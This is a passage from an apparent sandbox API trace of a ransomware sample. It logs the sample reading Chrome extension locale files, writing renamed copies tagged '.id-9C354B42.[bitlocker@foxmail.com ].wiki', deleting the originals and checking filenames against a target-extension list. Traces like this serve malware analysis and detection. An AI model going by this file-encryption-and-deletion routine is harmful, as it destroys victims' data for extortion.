lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.810] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.810] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.810] GetLastError () returned 0x0 [0173.810] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x102, lpOverlapped=0x0) returned 1 [0173.811] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.812] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.812] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.812] SetEndOfFile (hFile=0x124) returned 1 [0173.813] CloseHandle (hObject=0x124) returned 1 [0173.813] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.813] SetEndOfFile (hFile=0x1b4) returned 1 [0173.813] CloseHandle (hObject=0x1b4) returned 1 [0173.813] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.814] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json")) returned 1 [0173.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.814] lstrlenW (lpString=".doc") returned 4 [0173.814] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.814] lstrlenW (lpString=".docx") returned 5 [0173.814] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.814] lstrlenW (lpString=".pdf") returned 4 [0173.814] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.814] lstrlenW (lpString=".xls") returned 4 [0173.814] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.814] lstrlenW (lpString=".xlsx") returned 5 [0173.814] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.814] lstrlenW (lpString=".ppt") returned 4 [0173.814] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.814] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.814] lstrlenW (lpString=".zip") returned 4 [0173.814] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.814] lstrlenW (lpString=".rar") returned 4 [0173.814] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.815] lstrlenW (lpString=".bz2") returned 4 [0173.815] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.815] lstrlenW (lpString=".7z") returned 3 [0173.815] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.815] lstrlenW (lpString=".dbf") returned 4 [0173.815] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.815] lstrlenW (lpString=".1cd") returned 4 [0173.815] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.815] lstrlenW (lpString=".jpg") returned 4 [0173.815] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.815] lstrlenW (lpString=".doc") returned 4 [0173.815] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.815] lstrlenW (lpString=".docx") returned 5 [0173.815] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.815] lstrlenW (lpString=".pdf") returned 4 [0173.815] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.815] lstrlenW (lpString=".xls") returned 4 [0173.815] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.815] lstrlenW (lpString=".xlsx") returned 5 [0173.815] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.815] lstrlenW (lpString=".ppt") returned 4 [0173.815] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.815] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.815] lstrlenW (lpString=".zip") returned 4 [0173.816] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.816] lstrlenW (lpString=".rar") returned 4 [0173.816] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.816] lstrlenW (lpString=".bz2") returned 4 [0173.816] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.816] lstrlenW (lpString=".7z") returned 3 [0173.816] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.816] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.816] lstrlenW (lpString=".dbf") returned 4 [0173.816] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.816] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.816] lstrlenW (lpString=".1cd") returned 4 [0173.816] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.816] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json") returned 152 [0173.816] lstrlenW (lpString=".jpg") returned 4 [0173.816] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.816] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.816] lstrlenW (lpString="messages.json") returned 13 [0173.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.817] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=293) returned 1 [0173.817] CloseHandle (hObject=0x1b4) returned 1 [0173.817] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json")) returned 0x2020 [0173.817] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.817] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.817] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.818] GetLastError () returned 0x0 [0173.818] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x125, lpOverlapped=0x0) returned 1 [0173.819] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x130, lpOverlapped=0x0) returned 1 [0173.820] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.820] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.820] SetEndOfFile (hFile=0x124) returned 1 [0173.820] CloseHandle (hObject=0x124) returned 1 [0173.820] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.820] SetEndOfFile (hFile=0x1b4) returned 1 [0173.821] CloseHandle (hObject=0x1b4) returned 1 [0173.821] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.821] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json")) returned 1 [0173.821] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.821] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.821] lstrlenW (lpString=".doc") returned 4 [0173.822] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.822] lstrlenW (lpString=".docx") returned 5 [0173.822] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.822] lstrlenW (lpString=".pdf") returned 4 [0173.822] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.822] lstrlenW (lpString=".xls") returned 4 [0173.822] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.822] lstrlenW (lpString=".xlsx") returned 5 [0173.822] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.822] lstrlenW (lpString=".ppt") returned 4 [0173.822] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.822] lstrlenW (lpString=".zip") returned 4 [0173.822] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.822] lstrlenW (lpString=".rar") returned 4 [0173.822] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.822] lstrlenW (lpString=".bz2") returned 4 [0173.822] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.822] lstrlenW (lpString=".7z") returned 3 [0173.822] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.822] lstrlenW (lpString=".dbf") returned 4 [0173.822] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.822] lstrlenW (lpString=".1cd") returned 4 [0173.822] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.822] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.822] lstrlenW (lpString=".jpg") returned 4 [0173.822] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.823] lstrlenW (lpString=".doc") returned 4 [0173.823] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.823] lstrlenW (lpString=".docx") returned 5 [0173.823] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.823] lstrlenW (lpString=".pdf") returned 4 [0173.823] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.823] lstrlenW (lpString=".xls") returned 4 [0173.823] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.823] lstrlenW (lpString=".xlsx") returned 5 [0173.823] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.823] lstrlenW (lpString=".ppt") returned 4 [0173.823] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.823] lstrlenW (lpString=".zip") returned 4 [0173.823] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.823] lstrlenW (lpString=".rar") returned 4 [0173.823] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.823] lstrlenW (lpString=".bz2") returned 4 [0173.823] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.823] lstrlenW (lpString=".7z") returned 3 [0173.823] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.823] lstrlenW (lpString=".dbf") returned 4 [0173.823] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.823] lstrlenW (lpString=".1cd") returned 4 [0173.823] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.823] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json") returned 152 [0173.824] lstrlenW (lpString=".jpg") returned 4 [0173.824] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.824] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.824] lstrlenW (lpString="messages.json") returned 13 [0173.824] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.824] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=281) returned 1 [0173.824] CloseHandle (hObject=0x1b4) returned 1 [0173.824] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json")) returned 0x2020 [0173.824] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.825] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.825] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.825] GetLastError () returned 0x0 [0173.825] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x119, lpOverlapped=0x0) returned 1 [0174.057] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x120, lpOverlapped=0x0) returned 1 [0174.058] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.058] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.058] SetEndOfFile (hFile=0x124) returned 1 [0174.058] CloseHandle (hObject=0x124) returned 1 [0174.058] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.058] SetEndOfFile (hFile=0x1b4) returned 1 [0174.059] CloseHandle (hObject=0x1b4) returned 1 [0174.059] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.059] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json")) returned 1 [0174.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json") returned 152 [0174.059] lstrlenW (lpString=".doc") returned 4 [0174.060] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.060] lstrlenW (lpString=".docx") returned 5 [0174.060] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.060] lstrlenW (lpString=".pdf") returned 4 [0174.060] lstrcmpiW (lpString1=".pdf", 